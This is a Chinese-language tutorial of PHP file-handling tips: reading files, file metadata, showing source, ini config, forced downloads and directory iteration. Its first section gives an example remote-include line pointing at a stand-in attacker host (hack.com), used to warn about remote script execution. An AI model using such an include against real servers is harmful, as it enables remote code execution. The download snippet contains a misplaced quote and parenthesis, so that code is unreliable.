1.文件操作的安全性
由于将文件暴露在Internet后,用户可以下载文件,如果允许通过URL识别文件和目录或从您的站点下载文件时一定要小心,因为如果文件中有include 命令,该命令可以用于从远程Web服务器上执行包含脚本。例如:include 'http://www.hack.com/bad_script.txt' ;
建议在php.ini中设置关闭这个功能。allow_url_fopen=off禁用fopen函数通过url打开远程文件。
2.读取本地文件的三种办法
1)将文件读入数组中,使用file()函数
2)将文件读入字符串,使用file_get_contents()函数
3)直接读取文件到屏幕,使用readfile()函数
readfile是一种保护文件和带宽的便捷方法。通过一个使用readfile函数的脚本将您WEB站点中所有文件链接起来,能够防止其他站点直接链接到它们。这种方法使用技术通常被称为“反盗链”。
3.访问本地文件的有关信息
1)file_exists 用于检查文件是否存在
2)is_file 检查目标对象是文件还是目录
3)is_readable 用于检查文件是否可读
4)is_writable 用于检查文件是否可写
5)filemtime 用于检查文件上次修改的时间和日期
6)fileatime 用于检查文件上次访问的时间和日期
7)filesize 获取文件大小
4.如何在线显示PHP源码
PHP为显示代码提供了一个非常方便的函数:highlight_string,该函数使用php.ini中定义的格式以一种恰当的方式显示PHP代码。
另一种与highlight_string类似的函数highlight_file显示代码甚至更快一些,只需要将希望显示的文件名传递给它。
5.如何在文件中存储配置信息
最简单的存储配置信息的方法是在一个.ini文件中建立变量,然后使用parse_ini_file函数处理,该函数能够解析与php.ini相同格式的文件。
6.PHP管理文件下载
php处理下载的技巧是使用一些特殊的HTTP头和readfile函数:
$filename = 'example.ini';
$mineType = 'application/zip';
if(strpos($_SERVER['HTTP_USER_AGENT'],'MSIE 5)' or strpos($_SERVER['HTTP_USER_AGENT'],'Opera 7'))
{
$mineType = 'application/x-download';
}
header('Content-Disposition:attachment;filename='.$filename);
header('Content-Type:'.$mineType);
header('Content-Length:'.filesize($filename));
readfile($filename);
?>
注:
Content-Disposition头通知浏览器将文件看做一个下载并为其提供文件名称。
Content-Type通知浏览器发送文件的类型。
Content-Length通知浏览器文件大小,这样浏览器就能显示一个下载进度条。
7.强烈推荐SPL(标准PHP库)
例如:使用DirectoryIterator类遍历文件目录,有时间一定要看看。
$obj = new DirectoryIterator('./');
foreach ($obj as $key => $value) {
echo $value.'
';
}
//查看该类的所有方法
foreach(get_class_methods('DirectoryIterator') as $methodName)
{
echo $methodName.'
';
}
?>